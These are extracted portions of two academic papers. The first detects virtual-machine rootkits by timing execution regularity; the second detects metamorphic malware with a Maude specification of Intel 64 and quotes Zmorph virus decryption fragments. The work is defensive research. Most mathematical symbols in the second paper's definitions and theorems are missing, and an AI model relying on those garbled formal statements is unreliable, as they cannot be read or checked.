come back to this property later on. We finish our overview of virtual machines by recalling
the classification of Popek and Goldberg (Goldberg, 1972; Goldberg, 1974):

– Hardware virtualization (type I ) — a VMM can run directly on the hardware (Figure 1a).
This class of systems is the most difficult to build since it requires many hardware supports
(Robin & Irvine, 2000);

– Software virtualization (type II ) — the VMM runs as an application of an OS (Figure 1b).
– Partial emulation (type III ) — this is a type II system but the hardware does not fulfill

all the conditions defined in the previous works (Goldberg, 1972; Goldberg, 1974; Robin
& Irvine, 2000). Then, several sensitive instructions can not be run directly, they had to
be emulated (Figure 1c). This is especially the case in the x86 architecture.
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Fig. 1. Virtual machine classification.



Threats model

Virtual machines are used by both attackers and defenders in security. The detection of
virtual machines is a goal for both sides: virus writers want to prevent the defenders to
analyze their viruses by detecting virtual machines and defenders want to detect rootkits
based on virtual machines. If the goal is the same, the assumptions made on the strength
of the adversary can be very different depending the chosen side. Hardening viruses against
virtual machines is certainly almost equivalent to the problem of remote attestation of trusted
computing. In some sense, the virus writer wants to establish some trust on the remote
environment to protect the virus code. The assumptions for the virus are: both hardware
and software can not be trusted. The case of the defenders, e.g. the system administrators, is
different since we can assume that the malware is not able to modify the hardware. In fact,
to be rigorous, one should also take into account the possibilities to have native hardware
malwares. However, the problem of hardware malwares has not yet spread out in the security
community. It is a very specific problem which can be viewed as the discovery of hidden
services. In the remaining part of this paper, we take the side of the defenders who want
to prevent rootkits based on virtual machines. We only consider software threats. There are
currently two rootkit architectures proposed based on virtual machines.

Full virtualization — The system under attack is completely moved into a virtual machine.
The attacker is able to spy the whole system by working at the level of the VMM. In this
way, he can not be spotted by the administrator if the virtual machine is transparent. This
class of rootkits was first proposed in (King et al., 2006). A watchdog is enough to detect
those rootkits. A program is run regularly to detect if the system has been virtualized. The
cost of this detection is not critical since it is not supposed to run continuously.

Partial virtualization — The virtualization can be applied only to a subset of services of
the target, for instance to some system calls. Such rootkits have been suggested by Joanna
Rutkowska with the Blue Pill. They are far more difficult to detect than the previous form of
rootkits. A watchdog will be ineffective in this context without a significant increase of the
call frequency. This means that the detection test must be applied before every system call.
The performance of the test is then very critical to preserve the own system performance.

Previous works

The early solutions (Klein, 2003a; Klein, 2003b; Rutkowska, 2004) proposed to detect vir-
tual machines are based on some imperfect virtualization related to the x86 ISA (e.g. IDT
address). However, two solutions, namely timing fingerprinting and TLB detection schemes,
appear to be robust even in the case of a perfect virtualization solution.

Timing fingerprinting — Following the Section , VM detection based on timing seems to be
the most logical approach to detect a VMM. Thus, several tests based on the Time Stamp
Counter (TSC) of the processor has been proposed. The principle of those tests is always the
same: the timing of a sensitive operation is measured. Then, a virtual machine is detected



if some discrepancies are observed with the normal timing. There are two criticisms of the
timing fingerprinting. First, the detection software must include a database of the fingerprints
of all existing processors. Gathering such an information can be a painful process since all
the steppings of a given processor must be fingerprinted. Second, it is sometimes difficult
to predict the exact behaviour of the CPU Time Stamp Counter. Indeed, the TSC depends
on processor’s clock speed. In mobile processors, the frequency can be dynamically changed
which might affects the TSC’s input oscillator rate with little or no notice (this is a well-
known bug of the first intel mobile processor). The precision (probability of a false alarm)
of a simple timing fingerprinting is then questionable. More informations on the problem of
timing in a virtual machine can be found in (VMware, 2005).

TLB detection schemes — The Translation Lookaside Buffer is a cache that is used by the
memory management unit (MMU) to improve the speed of virtual address translation. As a
side effect, the content of the TLB gives a picture of what is executed by the CPU. Then,
a process can inspect the content of the TLB in order to detect suspicious activities. This
solution was first proposed by (Kennell, 2003) and has re-appeared at Black Hat 2007. If
this solution looks sound, some criticisms has been made in (Shankar, 2004). Determining
the robustness of TLB detection schemes is still an open question since they seem to be
connected to some specific architectural features.

The internal state of the processor is the underpinning of those two tests. The timing
method measures the direct activity of the VMM while the TLB method observes a side
effect. We have mixed those two approaches to improve VMM detection.

Virtual machine and covert channels

Virtual machines are supposed to be the perfect isolation solution. The administrator (i.e.
the VMM) has the full control of the communication between the users if each user is
associated to a virtual machine. This simply comes from the fact that two virtual machines
can not share states without the agreement of the VMM. Virtual machines are a significant
attempt to remove covert channels, i.e. all the communication channels which escape any
control. However, several works have shown that covert channels still exist in a virtualization
system.

Covert channels

Covert channels are a very important field in computer security. In his founding paper (Lamp-
son, 1973), Lampson has pointed out the possibilities to create side communication channels
using the shared states of a system. Recently, it was rediscovered that shared states can be
the source of information leaks (Bernstein, 2005b; Percival, 2005) especially at the level of
the processor. Modern processors are very complex parallelism engines. There exist many
mechanisms to exploit the instruction level parallelism like out-of-order execution, branch
prediction, bypass, cache memories. . . All those mechanisms are affected by the processes ex-
ecuted (and reciprocally) and they can be used to establish hidden communication channels.



The cache attack on the RSA exponentiation (Percival, 2005) is certainly the best example.
As a result, it appears that the precise execution time of a process is not predictable in a
timing sharing system (Seznec, 2003). We have emphasized this problem by studying the
execution regularity of a process with system load and scheduling algorithms.

Execution regularity — The setup measuring the execution regularity is very simple. It
consists in a loop that measures its own execution time (Figure 8 of the appendix). We have
used the CPU TSC but we could have used any of the performance counters of modern
processors. For instance, measuring the number of TLB misses through the particular event
counter would have been possible. The autocorrelation function Cδ is applied to the resulting
data to detect any execution pattern.

Cδ =
1

N

N−δ∑
i=1

(Xt − X̄)× (Xt+δ − X̄),

X̄ =
1

N

N∑
i=1

Xi.

The hidden cost of scheduling — We have executed our loop on a Linux 2.6 kernel hosted
by a Pentium 4 processor. There are three scheduling algorithms available in Linux system:

– SCHED OTHER the default time sharing algorithm. The scheduling depends on the
length of the time slice allocated to a process and on the priority level of the process.

– SCHED FIFO the most simple scheduling policy: First In First Out. There is no more
the idea of time slices in this scheduling mode. The first process who grabs the processor
is fully executed.

– SCHED RR the round robin algorithm is very similar to the FIFO algorithm except that
there is a the concept of time slices.

We have first drawn the autocorrelation plot for our process under the SCHED OTHER
policy with different system loads. The results can be seen in Figures 2, 3 and 4. When
there is no activity on the system (Figure 2), the execution time has some patterns (high
correlation). The process is almost never interrupted and the internal state of the processor
only affected by our process. The patterns disappear when the system load is increased
(Figures 3 and 4). All the internal states of the processor are affected by all the processes.
For instance, several lines of the instruction cache and of the data cache are evicted when our
process is interrupted by another. The reader can consult (Sendrier, 2002) for more details
on the behavior of the processor internal states.
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Fig. 2. Autocorrelation in SCHED OTHER mode (no load).
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Fig. 3. Autocorrelation in SCHED OTHER mode (average load).
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Fig. 4. Autocorrelation in SCHED OTHER mode (heavy load).

Then, we execute our process with the SCHED FIFO policy (Figure 5). The FIFO mode
is very interesting because the autocorrelation plot, i.e. the program regularity, is not af-
fected by the system load. Then, it can be used to detect any anomalies in the execution
environment.
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Fig. 5. Autocorrelation in SCHED FIFO mode.



VMM detection

In this part, we consider the problem of execution regularity on various virtual machines.
We first solve the problem of detecting emulators/simulators and then move to the detection
of virtual machines of type III. The main difference between all the classes of virtualization
systems is the number of calls to the VMM. In a system of type III, the VMM is called
more often than in a system of type II. There is currently a lack of systems of type I and II.
Running our test on a IBM mainframe will be a great challenge.

Emulation — Emulators are very simple to detect since they can not provide all mechanisms
of a processor. A simple measure of one characteristic is enough to detect that the execution
is done on an emulator. For instance, we have performed some tests with a PearPC virtual
machine running on a Pentium 4 processor. The guest operating system is Mac OSX Panther
and the host operating system is a Linux 2.6 kernel. The processor emulated by the PearPC
is supposed to be a G3 processor. Our test measures the size of the cache block of the
processor by performing a sequence of memory accesses. The access latency is longer when
the cache block needs to fetch into the cache memory. As reference characteristic, we perform
the same sequence of memory accesses on a real G3 processor (without L2 cache) and on
a G4 processor. The experiment on the G4 processor was also performed because G4 and
G3 processors may have the same cache size parameters for some setups. The results are
shown in Figure 6. As expected, PearPC is unable to provide the same behavior as a real
G3 processor. This test requires less than 500 CPU cycles to detect the emulator.
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Fig. 6. Analysis of the cache block size.

An adversary can fix this problem by using a processor simulator, SimpleScalar for in-
stance. He will manage to obtain a coherent execution time. However, the main weakness
of a simulator is the global execution time. Indeed, the simulation of a processor pipeline
or of a cache memory is very time consuming. An external clock with a very low precision



will be widely enough to detect a processor simulator. An emulator can have a good global
time signature but a very bad local time signature. The situation is reversed in the case of
a simulator.

Virtual machine of class III — Virtual machines of class III represent the majority of the
existing virtual machines. This is mainly due to the imperfection of the x86 ISA (Robin
& Irvine, 2000). We have performed some tests on VMware hosted by a Linux 2.6 kernel
and running a Linux system. It appears that the choice of scheduling, SCHED OTHER or
SCHED FIFO does not affect anymore the execution regularity of the process (Figure 7). In
fact, we did not find any pattern of execution for both scheduling algorithms. The execution
of our process is affected by the VMM and the host operating of the VMM. Even if the
scheduling of the virtual machine is turned on SCHED FIFO there is still several processes
executed at the same time. This will affect the cache memory and all the other mechanisms
of the processor.
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Fig. 7. Execution regularity on VMware.

The measure of the execution regularity has several advantage over the previous detection
scheme. First, it does not require any change while working with a new micro-architecture.
The execution regularity perform a fine grain analysis of the micro-architectural events with-
out having to know all the internal details of the processor architecture. Second, our test is
able to survive the new virtualization technologies: IVT (Intel, 2005) and Pacifica (AMD,
2005). One of the key feature of those new virtualization technology is the masking of the
TSC register. The system is able to save and restore the TSC register. This mechanism is
able to thwart any timing detection scheme. However, our scheme will be still able to detect
virtual machine since the internal state of the processor will be still affected even if the TSC
is virtually frozen for several cycles.



1 Conclusion

We have presented in this paper the problem of virtual machine detection against software
adversaries. We proposed a test based on the regularity of execution of software which solves
several problems encountered with the previous schemes: micro-architecture independent,
robustness against time masking. Our test is currently only qualified for watchdog detection
schemes. Moving from the watchdog scheme to a scheme where each system call is protected
is highly critical. This is still an open problem in virtual machine detection.

We have used the regularity of execution of a process to detect suspicious activities.
Moreover, an interesting problem could be to determine the spying capability of such a tool.
How much information can be extracted about a pool of processes when looking to the
regularity of execution of a given program ? This work is currently under process.

The author believes that hardware rootkits are going to become a main concern in the
future. Nowadays, the high-end market processors implement ISA using microprogramming.
The current experience with microcode shows that it is easy for the manufacturers to hide
new instructions to the users, e.g. the ICEBP (ICE BreakPoint) or SALC (Set AL on Carry)
undocumented instructions. It is also very likely to see hidden processor cores appear one
day. Finding hidden functionalities or specifications in a hardware system is a task which
has not yet received enough attention.



Source code

i=SAMPLING_SIZE;

unsigned long data[SAMPLING_SIZE];

start=HardClock();

while(i>0)

{

i--;

end=HardClock();

data[i]=end-start;

printf("%lu\n",data[i]);

start=end;

}

Fig. 8. The timing loop.
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Detection of Metamorphic and Virtualization-based Malware using Algebraic 
Specification

Abstract

We  present  an  overview  of  the  latest  developments  in  the  detection  of  metamorphic  and 
virtualization-based  malware  using  an  algebraic  specification  of  the  Intel  64  assembly  
programming language. After giving an overview of related work, we describe the development of a  
specification of a subset of the Intel 64 instruction set in Maude, an advanced formal algebraic  
specification  tool.  We  develop  the  technique  of  metamorphic  malware  detection  based  on 
equivalence-in-context so that it is applicable to imperative programming languages in general, and 
we  give  two  detailed  examples  of  how  this  might  be  used  in  a  practical  setting  to  detect  
metamorphic malware. We discuss the application of these techniques within anti-virus software,  
and give a proof-of-concept system for defeating detection counter-measures used by virtualization-
based malware, which is based on our Maude specification of Intel 64. Finally, we compare formal  
and informal approaches to malware detection, and give some directions for future research. 

Introduction

In this paper we present the latest developments on the detection of metamorphic and virtualization-
based  malware  using  an  algebraic  specification  of  a  subset  of  the  Intel  64  assembly  language 
instruction set. Both metamorphic and virtualization-based malware present serious challenges for 
detection: undetectable metamorphic computer viruses are known to exist (Chess & White, 2000, 
Filiol & Josse, 2007), and virtualization-based malware seem able to create a virtual computational 
platform which is indistinguishable to the user under normal circumstances, but which is completely 
under  the  control  of  the  malware (Rutkowska,  2006,  King et  al..,  2006).  We will  now give  an 
overview of the existing detection methods for metamorphic and virtualization-based malware.

There are currently many avenues of research into the detection of metamorphic computer viruses, 
both academic and industrial. Lakhotia & Mohammed describe an algorithm for imposing order on 
high-level language programs based on control- and data-flow analysis (Mohammed, 2003, Lakhotia 
& Mohammed,  2004).  Bruschi  et  al (Bruschi,  Martignoni,  & Monga,  2006a)  describe a  similar 
method for malware detection to the one described by Lakhotia & Mohammed, which uses code 
normalisation.  Christodorescu  et  al  describe  a  formal  approach to  metamorphic  computer  virus 
detection  using  a  signature-matching  approach,  in  which  the  signatures  contain  information 
regarding the semantics, as well as the syntax, of the metamorphic computer virus (Christodorescu, 
Jha,  Seshia,  Song,  & Bryant,  2005).  In a later  paper Preda et  al (Preda,  Christodorescu,  Jha,  & 
Debray,  2007)  are  able  to  prove  the  correctness  of  this  approach  with  respect  to  instruction 
reordering,  variable  renaming  and  junk  code  insertion.  Bruschi  et  al  describe  a  normalisation 
procedure based on program rewriting (Bruschi, Martignoni, & Monga, 2006b, 2007). Chouchane & 
Lakhotia describe an approach to metamorphic computer virus detection based on the assumption 
that metamorphic computer often use the same metamorphism engine, and that by assigning an 
engine signature it ought to be possible to assign a probability that a suspect executable is an output 
of that engine (Chouchane & Lakhotia, 2006). Yoo & Ultes-Nitsche (I.  S.  Yoo & Ultes-Nitsche, 
2006, I.  Yoo, 2004) present a unique approach to metamorphic computer virus detection, which 
involves training a type of artificial neural network known as a self-ordering map (SOM). Recent 
work by Ször (Ször, 2005, Ször & Ferrie, 2001) describes some of the industrial techniques for the 
detection of metamorphic computer virus detection.



As virtualization-based malware is a relatively recent phenomenon (Rutkowska, 2006, King et al.., 
2006),  there is  less  in  the literature on the problem of its  detection.  King et  al  give a  detailed 
overview  of  the  state  of  the  art  in  virtual  machine-based  rootkits  (VMBRs)  through  the 
demonstration  of  proof-of-concept  systems,  and  explore  strategies  for  defending  against 
VMBRs (King  et  al..,  2006).  Garkinkel  et  al (Garfinkel,  Adams,  Warfield,  &  Franklin,  2007) 
describe a taxonomy of virtual machine detection methods, and describe a fundamental trade-off 
between  performance  and  transparency  when  designing  virtual  machine  monitors.  Rutkowska 
describes a technique for detecting VMBRs called Red Pill, in which the Intel 64 instruction SIDT is 
used to reveal the presence of a virtual machine monitor through an altered interrupt descriptor 
table (Rutkowska, 2004). 

Algebraic  specification  has  been  applied  to  the  problem  of  metamorphic  malware  detection 
previously (Webster & Malcolm, 2006). Using a formal specification in OBJ of a subset of the Intel 
64 assembly language instruction set, it was shown that it was possible to prove the equivalence and 
semi-equivalence  of  programs  using  a  reduction  —  a  sequence  of  equational  rewrites.  When 
combined with the OBJ term rewriting engine, the algebraic specification becomes an interpreter for 
the  programming  language,  and  can  be  used  to  prove  the  equivalence  of  assembly  language 
programs. Notions of equivalence and semi-equivalence were defined formally, and it was shown 
that it is possible to extend semi-equivalence to equivalence under certain conditions, known as 
“equivalence-in-context”. This paper builds upon this approach.

In the next section we describe a translation of the Intel 64 specification from OBJ to Maude, a 
successor to OBJ which allows proofs based on rewriting logic. In the earlier work, the technique of 
proving equivalence-in-context was only applicable to certain assembly language instructions for 
which we could prove (using a reduction in OBJ) that keeping one set of variables constant would 
ensure that  another  set  of  variables  would have the same values after  executing the instruction 
within  two  different  states (Webster  &  Malcolm,  2006).  In  the  section  on  static  and  dynamic 
analysis, we improve this result by extending showing that equivalence-in-context is applicable to 
all instructions in imperative programming languages, regardless of whether we can prove the above 
condition using a reduction in OBJ or Maude. We then give concrete examples of how equivalence-
in-context  can be  used in  practice  to  detect  metamorphic  malware.  In  the  section on  detecting 
metamorphism, we discuss the applicability of the algebraic approaches given in the section on 
static and dynamic analysis, and (Webster & Malcolm, 2006), to the practical problem of detection 
of  metamorphic  malware  based  on  formal  static  and  dynamic  analysis,  and  in  the  section  on 
detection of virtualization we give a proof-of-concept system for generating metamorphic variants 
of virtualization-detection programs (such as Red Pill (Rutkowska, 2004)), based on the additional 
proof tools available in Maude.

Specifying Intel 64 Assembly Language

In  this  section we summarise  Webster  and Malcolm’s  approach (Webster  & Malcolm,  2006)  to 
specifying  the  syntax  and  semantics  of  the  Intel  64  assembly  language,  and  describe  how 
algorithmic techniques can use this specification to reason about programs written in the language. 
The Intel 64 and Intel Architecture 32-bit (IA-32) instruction set architectures (Intel Corporation, 
2007)  are  used  by  the  vast  majority  of  personal  computers  worldwide,  and it  follows  that  the 
majority  of  computer  viruses  will  (at  some point  in  their  reproductive  cycle)  be  manifest  as  a 
sequence of Intel 64 instructions. The full Maude specification, which is described below, can be 
found online (Webster & Malcolm, 2008).



Specifying the Syntax of Intel 64

The Intel 64 assembly language itself can be specified in Maude (see (Clavel et al.., 2003) for details 
of the Maude language; the present discussion does not, however, require any knowledge of Maude) 
by declaring sorts for instructions, expressions, variables, etc., and declaring the constructs of the 
language as operations. For example, the mov instruction is used in Intel 64 to assign the value of an 
expression (either a program variable name or a value) to another program variable, i.e., it “moves” 
the value of the expression in its right-hand (source) operand to the program variable in its left-hand 
(destination) operand. We can specify the syntax of the mov instruction as follows: 

    mov_,_  :  Variable Expression -> Instruction .

The variables of the language are the registers  eax,  ebx,  ecx, and  edi, together with various 
“flags”, such as the instruction pointer ip, and the stack, which can also be declared as a constant 
stack.

An important feature of the language is that instructions can be composed and put together to form 
programs. It is convenient to declare this composition operation using a semi-colon notation rather 
than the standard juxtaposition. In Maude this notation is declared as an operation 

    _;_  :  Instruction Instruction -> Instruction

(throughout this paper we shall blur the distinction between sequences of instructions and individual 
instructions).

The significance of specifying the syntax of the language in Maude is that programs can then be 
represented as terms such as 

    mov ecx, eax ; mov eax, ebx ; mov ebx, ecx .

This can then be used as a basis for a formal specification of the semantics of the language.

Specifying the Semantics of Intel 64

Following the approach of Goguen and Malcolm (Goguen & Malcolm, 1996), the semantics of a 
programming language can be specified by describing the effect of programs upon the state of the 
machine that executes those programs. This state is effectively captured by the values stored in the 
variables of the language: programs update this state by manipulating these values. Webster and 
Malcolm’s specification declares a sort  Store to represent these states, together with operations 
that capture how stores and programs interact.

For example, evaluation of an expression in a given state is done by declaring an operation 

    _[[_]]  : Store Expression -> EInt 

(where EInt represents integers together with “error values” that might arise through, for example, 
stack overflows).  Expressions may include variables, and for a store  S and variable  V, the term 
S[[V]] is intended to denote the value stored in V in the state S.

The action of a program upon a state is captured by an operation 



    _;_  :  Store Instruction -> Store

so that for a store S and instruction P, the term S ; P denotes the store that results from executing 
P in the “starting state” S. Putting all the above together, a term such as 

    s ; mov ecx, eax ; mov eax, ebx ; mov ebx, ecx [[ ebx ]]

is intended to denote the value in the  ebx register after the program has executed. Equations are 
used in the Maude specification to stipulate exactly what such values should be. For example, the 
three equations 

   S ; mov V,E [[V]]     =   S[[E]] 

   S ; mov V,E [[ip]]    =   S[[ip]] + 1 

   S ; mov V1,E [[V2]]   =   S[[V2]] 

      if V1 =/= V2 and V2 =/= ip 

state that a mov instruction assigns the given value to the given variable, increments the instruction 
pointer by 1, and does not affect the value of any other variables.

The full Maude specification in Webster and Malcolm (Webster & Malcolm, 2006) gives a formal 
semantics for a subset of Intel 64.

Specifications as Interpreters, and Virtualization

Meseguer and Roşu (Meseguer & Roşu, 2005, 2007) give an overview of the many languages whose 
semantics have been specified in Maude, and point out that term rewriting provides interpreters for 
these languages: using equations to simplify terms effectively simulates the execution of programs. 
For example, the equations above give us 

    s ; mov ecx, eax ; mov eax, ebx ; mov ebx, ecx [[ ebx ]]

  = s ; mov ecx, eax ; mov eax, ebx [[ ecx ]]

  = s ; mov ecx, eax [[ ecx ]]

  = s [[ eax ]]

which calculates that the program sets ebx to the value initially stored in eax; similarly, we could 
calculate that the program increments the instruction pointer by 3. Maude has a rewriting engine that 
automates this process of simplification using equations,  and which can therefore be viewed as 
interpreting  Intel  64  programs.  In  a  very  precise  sense,  this  specification  virtualizes  Intel  64 
programs: it provides a virtual machine on which these programs can be run. Webster and Malcolm 
(Webster & Malcolm, 2006) explore the ramifications of this for static and dynamic analysis of 
metamorphic viruses, and we further develop these ideas in the following sections. We will also 
argue that virtualization, to some extent, turns the tables in the battle between malware and anti-
malware: on gaining control of a host machine, virtualizing malware becomes a defender of the 
resources that the virtualized anti-malware may used to detect its virtualized status, while the anti-
malware  may  use  stealth,  obfuscation,  or  any  of  the  techniques  more  usually  associated  with 



malware, to circumvent these countermeasures. The formal basis provided by a Maude specification 
of Intel 64 semantics allows us to reason rigorously about both malware and anti-malware.

Static and Dynamic Analysis

Webster and Malcolm (Webster & Malcolm, 2006) have shown that a Maude specification of the 
Intel 64 assembly programming language can be used for detection by dynamic analysis. In this 
section  we  will  demonstrate  how “equivalence  in  context”  can  be  used  for  detection  by  static 
analysis.

In this section we describe how the Maude specification of Intel 64 can be used to reason about 
allomorphs of metamorphic computer viruses, using the Win9 .Zmorph.A virus as an example. We 
also present an improved form of a theorem proved in Webster and Malcolm (Webster & Malcolm, 
2006).

Equivalence of Instructions

Our end goal is to be able to prove that two allomorphic sequences of viral code are equivalent, in 
that they behave in the same way. This means they have the same effect on all variables; for the 
remainder of this section we write  for the set of all variables available in Intel 64, including the 
flags and stack. This notion of equivalence is captured in 

Definition 1 For , instructions  and  are -equivalent, written , iff for all  
stores , and all variables : 

In the case that , we say that  is equivalent to , and write . 

If  then these instruction sequences may have different effects on variables that are not in 
.  However,  if  these  instruction sequences  are  composed with  another  instruction  sequence   

whose behaviour does not depend on such variables, then we may have: 

If these conditions are met by some ,  and  then we say that  and  are equivalent-in-
context of .

For  the  purposes  of  static  analysis,  we  identify  the  variables  that  are  read  or  written  to  by 
instructions. We identify  as the set of variables that could be modified by some instruction . 

Definition 2  For instruction , define  by  iff there is an  such that 
. 

For example,   because the values in  eax and  ip are modified by 
this instruction. 

Similarly,  we  want   to  be  the  set  of  variables  that  could  affect  the  behaviour  of  some 
instruction  in some way. We find it more convenient to express this by saying when a variable has 
no effect on the behaviour of : 



Definition 3  For instruction , define  by  iff for all ,  implies 
. 

Additionally, these functions extend naturally to sequences of instructions: 

Definition 4  For instruction sequences  and : 

Webster and Malcolm (Webster & Malcolm, 2006) present some basic results that allow the notion 
of equivalence to be applied to metamorphic viruses, principally Theorem 1 below. Their proof, 
however, uses a lemma that is proved by case-analysis on Intel 64 instructions, and therefore only 
holds for those specific instructions: the following proof removes this dependency on a particular 
language, using only the abstract properties of  and . 

Lemma 1  For all instructions  and for all states : 

Proof.   Let   be an enumeration of  , and let   be some state identical to  , 
except 

Inductively, let  be some state identical to  except 

By Definition 3, , and therefore 
, as desired.

□
As in Webster and Malcolm (Webster & Malcolm, 2006), this lemma allows us to incrementally 
chain together sets of variables into equivalences for instruction sequences with 

Theorem 1  Let  be an instruction sequence such that , where  are 
instructions. If  and for all  with  

               (1)

then . 

It is possible to recover equivalence of instruction sequences from semi-equivalence in some cases. 
If , then  and  may have different effects on variables in  (which we henceforth 
write as ); but if all variables in  are overwritten in the same way by some instruction , then 
this theorem allows us to “add” those variables until we cover all of : 



Corollary 1 (Equivalence-in-Context)   If   and   for instruction 
sequences , ,  and , then . 

Examples Using Win9 .Zmorph.A

The following code excerpts were taken from the entry point of two different executables infected 
with Zmorph. This virus reconstructs its code instruction-by-instruction, pushing each one onto the 
stack (Ször, 2000).  Therefore the following code samples exhibit a part  of Zmorph’s decryption 
algorithm: 

   mov edi, 2580774443          mov ebx, 535699961

   mov ebx, 467750807           mov edx, 1490897411

   sub ebx, 1745609157          xor ebx, 2402657826

   sub edi, 150468176           mov ecx, 3802877865

   xor ebx, 875205167           xor edx, 3743593982

   push edi                     add ecx, 2386458904

   xor edi, 3761393434          push ebx

   push ebx                     push edx

   push edi                     push ecx

We shall refer to these two allomorphs as  and  respectively. In the following examples we will 
show that   and   are equivalent-in-context of two different instruction sequences,   and  , by 
applying the result from Corollary 1. 

Before we begin, it is necessary to establish that if there is some sequence of instructions   for 
which , then the value of  is unchanged after executing . We formalise this in 

Proposition 1  Let   be some sequence of  instructions.  Then for all  stores  , 
 if . 

Proof.  Proof  is  by  induction.  By  Definition 4,  we  know  that   for  .  By 
Definition 2,  for all stores . Let  be the subsequence of  consisting of the first 

 instructions in , i.e., . Now, assume that . Then by Definition 2, 
taking  and , we know that . Therefore , 
as desired. 

□
Example 1  By inspection of the Maude specification of Intel 64, we know that 



By  Proposition 1,  we  know  that   for  all  ,  and   for  all 
. Therefore,  for all . Using the dynamic analysis  

approach of Webster & Malcolm (Webster & Malcolm, 2006) (i.e., using reductions in Maude), we 
can  show  that   and  .  Therefore  we  know  that 

 where . (Note that for the sake of brevity, we have omitted  
the EFLAGS register in this example.)

We will  show how an instruction sequence   executed immediately after   and   results  in an 
equivalent store, which allows the metamorphic computer virus to freely swap  and  as long as  
executes next.

Let  .  In  order  to  apply  
Theorem 1, we must first check the values of  and  for all instructions  in  (these 
can be inferred easily by inspection of the Maude specification of Intel 64):

                

The following therefore hold: 

Therefore by Theorem 1, , and since , we know by Corollary 1 that 
.

Alternatively, we can check directly using the Maude specification of Intel 64 that this is the case, 
using the above definitions of ,  and . We can use Maude’s term rewriting to simplify terms such 
as the following: 

   s ; g ; p[[stack]] == s ; h ; p[[stack]] 

   s ; g ; p[[ip]]    == s ; h ; p[[ip]] 

   s ; g ; p[[edi]]   == s ; h ; p[[edi]] 

Each of these terms tests the equality of the two programs on the variables stack, ip, edi, etc. By 
testing for all the variables in Intel 64, we can take these Maude reductions as a second proof that 

 (Webster & Malcolm, 2008).

In the example above we showed that by overwriting the non-equivalent variables from the semi-
equivalent programs   and   in the instruction sequence  ,  that  we can show that   and   are 
equivalent-in-context of  . In the following example we will show that equivalence can also be 
demonstrated  where  an  instruction  sequence   contains  instructions  which  overwrite  the  non-



equivalent  variables,  as  long as  the  instructions  in   are  not  dependent  on  the  non-equivalent 
variables.

Example 2  Let .

Once again we must check the values of  and  for all instructions  in  before we 
can apply Theorem 1:

             

The following therefore hold: 

Therefore by Theorem 1 , , and since , we know by Corollary 1 
that .

As  with  the  previous  example,  it  is  also  possible  to  verify  this  directly  using  a  reduction  in 
Maude (Webster & Malcolm, 2008).

Detecting Metamorphism

In the previous sections we have shown how the formal specification in Maude of the Intel 64 
assembly  programming language  enables  static  and dynamic  analysis  to  prove  equivalence  and 
semi-equivalence of code. We have shown how metamorphic computer viruses use equivalent and 
semi-equivalent  code  in  order  to  avoid  detection  by  signature  scanning.  Therefore,  given  the 
techniques for code analysis described above, it seems reasonable that static and dynamic analysis 
based on the formal specification of Intel 64 should give ways to detect metamorphic computer 
viruses  by  proving  the  equivalence  of  different  generations  of  the  same  virus  to  some  virus 
signature, thus enabling detection of metamorphic computer viruses by a signature-based approach.

Implementation of a industrial tool for metamorphic computer virus detection is beyond the scope of 
this work, but a discussion of the application of the technique presented earlier to the problem of 
detecting metamorphic and virtualized malware is given below.

Dynamic Analysis for Detection of Metamorphic Code

Signature Equivalence

The  most  obvious  application  for  detection  is  based  on  the  techniques  used  by  Webster  and 
Malcolm (Webster & Malcolm, 2006), and in the earlier section on specifying Intel 64, to prove by 
dynamic analysis  the  equivalence of  code fragments.  Suppose that  a  signature   is  stored in a 
disassembled form, and that there is a fragment of suspect code  within a disassembled executable 



file. Then, the effects of  and  on a generalised store could be discovered by performing Maude 
reductions. The resulting stores could be compared, and if equal, would prove that . Computer 
virus signatures must be sufficiently discriminating and non-incriminating, meaning that they must 
identify a particular virus reliably without falsely incriminating code from a different virus or non-
virus (Filiol, 2005). If a suspect code block was proven to have equivalent behaviour to a signature, 
this would result in identification to the same degree of accuracy as the original signature. (Since a 
signature uses a syntactic representation of the semantics of a code fragment to identify a viral 
behavioural trait, any equivalent signature must therefore identify the same trait.) If the code block 
is only semi-equivalent, then the accuracy of detection could be reduced. However if equivalence-
in-context  could  be  proven  then  accuracy  would  again  be  to  the  same  degree  as  the  original 
signature. 

Signature Semi-Equivalence

It might be the case that a given metamorphic computer virus is known to write certain values onto 
the stack, and therefore the state of the stack at a certain point in the execution of the metamorphic 
virus could be a possible means of detection. In the work by Webster and Malcolm (Webster & 
Malcolm, 2006), two variants of the Win .Zmorph.A metamorphic computer virus were shown to 
be equivalent with respect to the stack, meaning that the state of the stack was affected in the same 
way by both generations of the virus. Therefore, the same technique could be used for detection. In 
this case, equivalence need not be proven, as the detection method relies on equivalence with respect 
to a subset of variables, i.e., semi-equivalence. 

Static Analysis for Detection of Metamorphic Code

Formally-Verified Equivalent Code Libraries

One  important  result  in  the  field  of  algebraic  specification  is  the  Theorem  of  Constants 
(p.38, (Goguen & Malcolm, 1996)). Informally, the theorem states that any nullary operator (i.e., 
constant) used in a reduction within an algebraic specification system such as Maude, can be used as 
a variable in that reduction. This holds because the definition of variables within Maude is that they 
are actually constants within a supersignature, i.e., a variable in a Maude module is a constant within 
another module that encompasses it. This lets us use constants in place of variables, e.g., for the 
reductions used in Examples 1 and 2 we use a constant s to denote any store . 

This  means  that  the  proofs  of  equivalence  and  semi-equivalence  of  the  code  fragments  in 
propositions 2–4 still hold if we swap the program variable names for other program variable names 
of the same sort (e.g., we don’t interchange stack variables and “ordinary” variables such as the eax 
register). For example, if 

(2)

where , then by the Theorem of Constants we can replace ebp with eax, and esp 
with  edx,  for  example,  and the statement of  semi-equivalence still  holds.  Therefore,  we might 
rephrase the above with a more standard mathematical notation, e.g.: 

                       (3)



Therefore, if we know that metamorphic computer viruses might use a set of equations similar to 
Equation 3, then we may wish to build up a library of equivalent instruction lists based on those 
equations.  In doing so we could decide,  for instance,  that  all  instances of the left-hand side of 
Equation 3 should be “replaced by” the right-hand side. If there was a metamorphic computer virus 
that exhibited only this kind of metamorphism, then we would have effectively created a normal 
form of the virus that would enable detection by straightforward signature scanning. Of course, this 
example is kept simple intentionally, and many metamorphic computer viruses will employ code 
mutation techniques which are far more complex, but the general idea of code libraries which are 
formally verified using a formal specification language, such as Maude, may be useful. 

Equivalence in Context

As shown in the previous section and in earlier work by Webster and Malcolm (Webster & Malcolm, 
2006), metamorphic computer viruses can use semi-equivalent code replacement in order to produce 
syntactic  variants  in  order  to  evade  signature-based  detection.  The  obvious  advantage  of  this 
stratagem is that restricting metamorphism to code sequences that are equivalent limits the number 
of syntactic variants. An obvious example is that metamorphic computer viruses may wish to use 
code that  treats  all  variables equivalently except  the instruction pointer,  i.e.,  equivalent  code of 
